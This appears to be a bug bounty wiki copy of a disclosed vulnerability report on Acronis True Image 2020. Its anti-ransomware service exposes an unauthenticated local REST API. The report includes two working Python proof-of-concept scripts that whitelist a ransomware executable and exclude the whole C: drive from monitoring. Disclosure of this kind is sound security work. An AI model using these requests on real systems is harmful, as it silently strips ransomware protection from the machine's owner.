anti_ransomware_service.exe REST API does not require authentication
The anti-ransomware service of a backup product exposes a local REST API on a fixed port that accepts requests from any local user without authentication. An attacker could use it to whitelist a malicious executable or exclude an entire drive from ransomware monitoring, silently disabling the protection.
- Disclosed after 14 months
anti_ransomware_service.exe exposes a REST API that can be used by everyone, even unprivileged users. This API is used to communicate from the Acronis True Image 2020 GUI to the anti_ransomware_service.exe. This can be exploited to add an arbitary malicious executable to the whitelist or even exclude the entire drive from being monitored by anti_ransomware_service.exe.
Add executable to whitelist, steps to reproduce:
- Run the python script "add_executable_to_whitelist.py". This could of course be written in a compiled language, such that the executable did not need an installed interpreter. Example code can be found below.
- Verify in the Acronis True Image 2020 GUI that the executable "C:\ProgramData\ransomware_exe.exe" is whitelisted.
add_executable_to_whitelist.py: """ import requests import json
put_headers = {'User-Agent': 'AcronisRestClient', "Accept": "application/json", "Content-Type":"application/json"}
data = { "additions" : [ { "path" : "C:\ProgramData\ransomware_exe.exe" } ], "removals" : [] } r1 = requests.put('http://localhost:6109/lists/processImages/white', headers=put_headers, data=json.dumps(data)) print(r1.content) """
Exclude drive from monitoring, steps to reproduce:
- Run the python script "exclude_drive_from_anti_ransomware.py". This could of course be written in a compiled language, such that the executable did not need an installed interpreter. Example code can be found below.
- Verify in the Acronis True Image 2020 GUI that the path "C:*" is excluded.
exclude_drive_from_anti_ransomware.py: """ import requests import json import time
put_headers = {'User-Agent': 'AcronisRestClient', "Accept": "application/json", "Content-Type":"application/json"}
data = { "additions" : [ { "path" : "C:\*" } ], "removals" : [] } r1 = requests.put('http://localhost:6109/lists/excludes', headers=put_headers, data=json.dumps(data)) print(r1.content) """
Impact
This could silently disable the anti_ransomware_service.exe by whitelisting the specific ransomware executable or excluding the entire system drive from inspection.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
This could silently disable the anti-ransomware service by whitelisting a ransomware executable or excluding the entire system drive from inspection.
What the attacker needed
Local access to the machine; no admin rights needed
How it was found
- Run a script that sends a request to the local API to add an executable to the whitelist.
- Check in the product's graphical interface that the executable now appears as whitelisted.
- Run a script that sends a request to the local API to exclude a drive path.
- Check in the graphical interface that the drive path is now excluded.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A security program that watches for ransomware runs a small web server on the same computer so its own graphical interface can talk to it. That server does not check who is calling, so any program running on the machine, even one without admin rights, can send it instructions. Here those instructions let someone tell the protection to trust a malicious file or to ignore a whole drive.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.